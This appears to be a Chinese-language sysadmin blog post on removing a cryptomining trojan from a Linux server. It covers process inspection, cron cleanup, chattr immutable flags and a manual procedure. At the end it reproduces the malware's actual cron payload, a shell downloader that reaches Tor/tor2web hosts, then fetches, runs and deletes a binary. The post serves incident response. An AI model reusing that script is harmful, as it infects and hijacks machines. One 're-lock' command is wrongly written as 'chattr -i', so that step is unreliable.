先来主要使用的命令
top 检查进程,找到CPU占用较高的
lsof -p pid 检查进程启动命令、调用记录
pstree -H pid 检查父进程,一般用于查找哪个进程唤起主木马进程的。
kill -9 pid 杀死进程,如果只用kill,容易留下僵尸进程,清除木马无效!
find /etc/cron* -type f -mtime -30 查找/etc 下定时任务中最近被改动过的文件
crontab -e 查看定时任务,找到异常的
lsattr /etc/hosts 查看hosts文件的读写属性,如果是有i标志,那么锁定了只能读,这个木马大量锁定了自己文件为只读!!
解锁 chattr -i /etc/hosts
再加锁 chattr -i /etc/hosts
目录的处理,加R参数 chattr -iR /tmp/.X1M-unix
处理原则: 首先停止定时任务 service crond stop
1、找到异常进程,查找父进程。杀掉
2、查找被修改的cornd文件,删除,做好日志监控,防止删除不干净。一般位置在
/etc/cron.hourly/
/etc/cron.d/
/etc/cron.d/clamav-update/
以及crontab -e检查
3、检查以及删除文件,主要有
①/tmp目录,输入ll .然后两次tab键
例如/tmp/.X11-unix/ 或者/tmp/.??异常,关注其生成时间大多是固定的,关注其状态,一般都是只读,用lsattr 文件。这次我发现了这么多
.font-unix/ .ICE-unix/ .Test-unix/ .X11-unix/ .XIM-unix/
②/opt目录 这个目录里做一次lsattr检查,关注其生成时间
③~/用户目录
输入ll .然后两次tab键
做一次lsattr检查,关注其生成时间
④全局搜索对应日期的文件。例如发现木马相关文件时间是2020-03-23 17:36,那么
find / * -newermt '2020-03-23 17:00' ! -newermt '2020-03-23 18:00'
然后一一校验,是否被修改,是否为挖矿本身。
⑤修改hosts文件
4、执行ldconfig,检查爆出来的所有异常库文件,看其属性,如果是只读,那就要处理了。
5、以上操作尽量快,防止未删除干净就又产生了。
6、service crond start。启动定时任务,用tailf /var/log/crond 监控定时任务日志,看是否有未干净的清理。如发现有异常,检查有没有/tmp/.XX,以及crontab -e是否有新的木马脚本,还有/opt下是否有新木马脚本出现。
之所以不专业,
1、因为过程中始终没有找到入侵的路径,
2、全手动,
3、在上面第五项折了小半天,甚至用了 touch一个空木马脚本文件rvlss,并给予chattr +i rvlss的方式,阻止脚本后继操作的方式。----也有效果!
附属主要crond中的base64木马脚本
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "trumpzwlvlyrvlss")
sockz() {
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$(($c https://doh.centraleu.pi-dns.com/$p ||
$c https://dns.twnic.tw/$p ||
$c https://dns.rubyfish.cn/$p ||
$c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\
| grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1 )
}
fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/io; then
u $t.$h
else
break
fi
done